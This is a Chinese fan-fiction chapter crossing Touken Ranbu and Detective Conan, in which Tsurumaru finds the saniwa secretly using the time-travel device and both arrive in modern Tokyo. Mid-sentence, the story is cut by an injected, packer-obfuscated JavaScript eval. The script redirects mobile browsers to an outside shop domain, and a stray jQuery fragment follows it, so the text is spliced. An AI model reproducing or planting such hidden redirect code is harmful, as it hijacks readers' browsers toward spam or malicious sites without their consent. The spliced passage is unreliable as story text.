【本丸】
鹤丸国永有一套新的恶作剧计划。
在其他刀剑都已陷入梦乡的时候,他蹑手蹑脚地离开了伊达组的部屋,没让任何人发现。
只是审神者所在的天守阁内,灯似乎还亮着。
此刻已至深夜,本丸内的屋舍一片漆黑,只有位于中央的天守阁,比景趣里自带的那轮圆月还要明亮,在夜晚的本丸内格外灼目。
都这个点了,审神者居然还没有睡?
鹤丸国永倒还是第一次见到这样勤奋的主人,要知道在一开始签订契约以后,他可是见识到了他这位主人一睡就睡了小半个月的战绩,他有好几次都觉得自家审神者的睡相有些异样,安静得像个死人,但都被压切长谷部以“不可以诅咒主公”为由赶了出去。
只是审神者的情况说到底还是太过反常了,连压切长谷部都不免有些着急,如果不是狐之助这个时政式神还在一旁帮忙盯梢审神者的情况,他们就真的要向时之政府求助了。
不过好在最后,审神者还是平安醒来了。
而审神者在听说这段时间内自家刀剑误以为自己成了死人一事后也没有生气,反而哈哈大笑,他调侃自己怎么不算是一种男鬼呢,又安抚着刀剑们,说是自己入职前一直都没有休息好,这才睡得有些久了。
但也为了不再让自家刀剑们担心,审神者的作息倒是十分规律——至于是怎样的一个规律法,大概就是,只要审神者想要睡觉,就立马将景趣换成黑夜。
白天工作,晚上睡觉,这是多么健康的作息啊!压切长谷部虽然觉得貌似有些不太对,但这对于人类而言的确是一个合理的作息,起码审神者就此之后,没再出现像入职那日昏睡小半个月的惨案。
所以鹤丸国永还是头一次看见亮堂堂的天守阁。
距离景趣交替已经过了半个夜晚的时间,也不知道是审神者是一直没睡,还是已经睡了一觉醒了过来,只是体谅劳累的刀剑才没有将景趣换成白天。
但不管是哪种可能,都只会令鹤丸国永感慨,自家审神者实属是辛劳啊。
鹤丸国永还记得烛台切光忠在休息之前做了新的糕点,原本是打算等到第二天审神者醒后再端给审神者的。
此刻正好便宜了鹤丸国永,他一溜烟儿就跑进了厨房,端起了烛台切光忠的那盘糕点,往审神者的居所走去。
——反正糕点本来就是给审神者的,他替小光送过去又有什么不对,小光还得要感谢他呢!
而且审神者肯定还会留他一起品尝糕点,到时候审神者一块他一块,近侍一块他一块,小光一块他一块,小贞一块他一块,其他刀剑一块他一块……
嗯!真是堪称完美的计划!
鹤丸国永喜滋滋地敲了敲审神者房间的门,然而好半晌都没有得到回应。
他不免有些疑惑地推了推,门没有关紧,鹤丸国永十分轻易地就推开了,映入眼帘的首先是屏风前的办公桌,那里还趴着一个人、准确来说是一把刀——是本丸的近侍压切长谷部。
压切长谷部伏于桌案前,枕着交叠的手臂,只露出了半张脸,他的肩头盖着一件熟悉的外套,正随着这把近侍刀的呼吸微微起伏着。
鹤丸国永认得,那是审神者的衣服,他顺手将那叠点心放到叠成一堆的公文旁,却没有在屋内见到审神者的身影。
真是失职啊长谷部,主公不见了都没有发觉。
鹤丸国永有一瞬间起了想把压切长谷部叫起来逗弄的心思,但是看到这般睡得香甜的同僚,他耸了耸肩,放弃了恶作剧的打算。
算了,本丸内大大小小的工作一直都是交由压切长谷部这名近侍完成的,虽然审神者在时能够减轻些许工作,但说到底长谷部累了这么久,他就不要再在这个时候凑热闹了。
何况审神者的外套还搭在压切长谷部的肩头,一看就知道是审神者默许的,怕不是审神者不忍心吵醒睡得正香的近侍,独自出去了。
不过也不知道审神者究竟去哪里了。
但是在偌大的本丸内寻找失踪的审神者,似乎也……简直是太有意思了!
鹤丸国永毫不犹豫地摒弃了自己原本的恶作剧计划,开启了他独自一人的寻找审神者的行动。
厨房内见不着审神者的身影,烛台切光忠准备好的那些糕点,除了鹤丸国永端走的那一盘,没有丝毫的减少,显然并不是审神者半夜饿了出去觅食。
锻刀室内也瞧不见审神者的身影,资源和委托符依然工工整整地摆在一边,没有任何减少,想来也不是最近流行在各大审神者之间的半夜玄学锻刀。
真是奇怪,半夜出门的审神者又能够去哪里呢?总不能够是夜袭其他刀剑的部屋吧?
虽说鹤丸国永认为审神者与自己是一类的性格,但他想自家审神者应该是做不出大半夜去吓其他刀剑这么缺德的事。
所以……
只有可能是在那里了——
果然,庭院内的时空转换器前,他们那位从天守阁内不见踪影的审神者此刻正在那里,一盏夜灯被随意丢到了庭院的一角,而对方过肩的头发披散着,鹤丸国永有些看不清他的脸,如果不是听清了审神者的声音,看起来还真像是一个不知道从何而来的男鬼。
是了,鹤丸国永记得,他们这位审神者自这次入职之后,似乎就和时空转换器杠上了,每天都会在时空转换器前停滞许久,疯狂尝试掷骰子,只是可惜,十二面骰似乎总是转不到审神者想要到达的时空,他们也总是会看到审神者怅然失落的目光。
而现在,他们的审神者像先前那般蹲在时空转换器前,只是这一次,他的嘴里还振振有词地念叨着什么:
“平日里掷骰子一直歪就算了,半夜掷骰子够玄学了吧,我就不信还会歪!”
“拜托了,这次一定要是那个时间啊!”
十二面骰被丢了出去,下一秒,审神者抬起了脑袋,正好与找过来的鹤丸国永对上了目光。
鹤丸国永:“嗨!”
审神者:“……”
怎么刚好被鹤丸国永看了个正着!他在刀剑面前的一世英名啊!
鹤丸国永眉眼弯弯,完全没觉得自家审神者此刻是在做什么十分不得了的事情,反而十分热情地朝自家审神者打着招呼:“主人这次想要去哪里玩?带我一起呗!”
审神者:“……”你的主人想要改变历史,只要成功就会被时政通缉,这你难道也要一起吗?!
虽说心里是这样腹诽的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900708|212932||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
但是审神者面上不显,一如既往地露出了明媚的笑容,他对鹤丸国永刚刚的那个问题避而不谈,只是道:“晚上好啊,小鹤。这个时间点出门,该不会是想要做什么坏事吧?”
“话说得也太难听了吧,我难道在您心里就是这样的地位吗?”被说中的鹤丸国永也不心虚,只是做了一个噤声的手势,“就麻烦主人不要告诉其他人啦,我也会帮主人保守秘密的。”
虽说鹤丸国永又将话题给扯了回来,但自己的一世英名能够保住,审神者很是满意,只是还来不及再与鹤丸国永攀扯些别的事,他方才掷入时空转换器表盘上的十二面骰也在此刻停了下来,不偏不倚,正好落在中间。
低沉的震动带动了整个庭院的地面,下一秒,原本在时空转换器跟前的一人一刀,也从庭院内消失不见。
天守阁内的压切长谷部也在此刻瞬间惊醒:“发生了什么事?!主人您还好吗!”
属于审神者的外套从压切长谷部肩上滑落,这位向来靠谱的近侍不可置信地睁大眼睛,看向了空无一人的房间。
等等!他那么大的一个审神者呢!
……
【现世】
“啊呀呀——”
东京街头的一角,鹤丸国永有些好奇地张望着:
“这里是什么时候,原来主人是想着背着长谷部偷偷溜出来玩吗?这可真是有意思,只是主人居然没想着叫上我,可真是过分啊!”
不过介于此刻只有他和审神者来到这里,鹤丸国永又十分好心肠的原谅了自家审神者:“果然人算天算不如鹤算,我下次还要和主人一起偷偷出来玩!”
审神者吐槽:“那么长谷部一定会被我们吓出心脏病的。”
他知道自己大半夜背着近侍捣鼓时空转换器以及现在贸然失踪一定会把自家近侍吓个半死,但是就算再来一次,让他在近侍和幼驯染之间做出选择,他还是会像现在这样义无反顾地选择幼驯染。
只不过这次貌似也不是能够改变历史的时间呢。
审神者从口袋里掏出手机,校准到了现世的时间点,看到手机上明晃晃的12月7日,即使是向来心态良好的审神者,也不免弄出了半月眼:
果然又歪了啊……
他再也不信半夜抽卡会变欧的玄学了。
但其实这个时间已经很接近了,感觉下次还可以再试试,说不准就对了呢?!不过得记得给长谷部留个字条,长谷部任劳任怨为他做事做了那么久,还是得挂念一下长谷部的心脏!
但是这也都怪时政不给他提供正确的时间坐标,不然他也不用像现在这样一遍遍的试了!
在心里把锅全部推给时政以后,审神者的心情明显要好上了许多,他正要拉住鹤丸国永提醒他不要在现世到处乱晃,却在拐角处看见了一个熟悉的身影。
咦……好像是……
审神者眯起眼睛,打量着拐角处那个看上去有些可疑的身着连帽衫的青年,青年似乎也察觉到了他的视线,往他们的方向看了一眼,审神者下意识拽着一旁的鹤丸国永往旁边躲了一下,但也因此看清了对面那人隐藏在兜帽下的面庞。
那一瞬间,他的脑海下意识冒出了一个名字:
——小诸伏?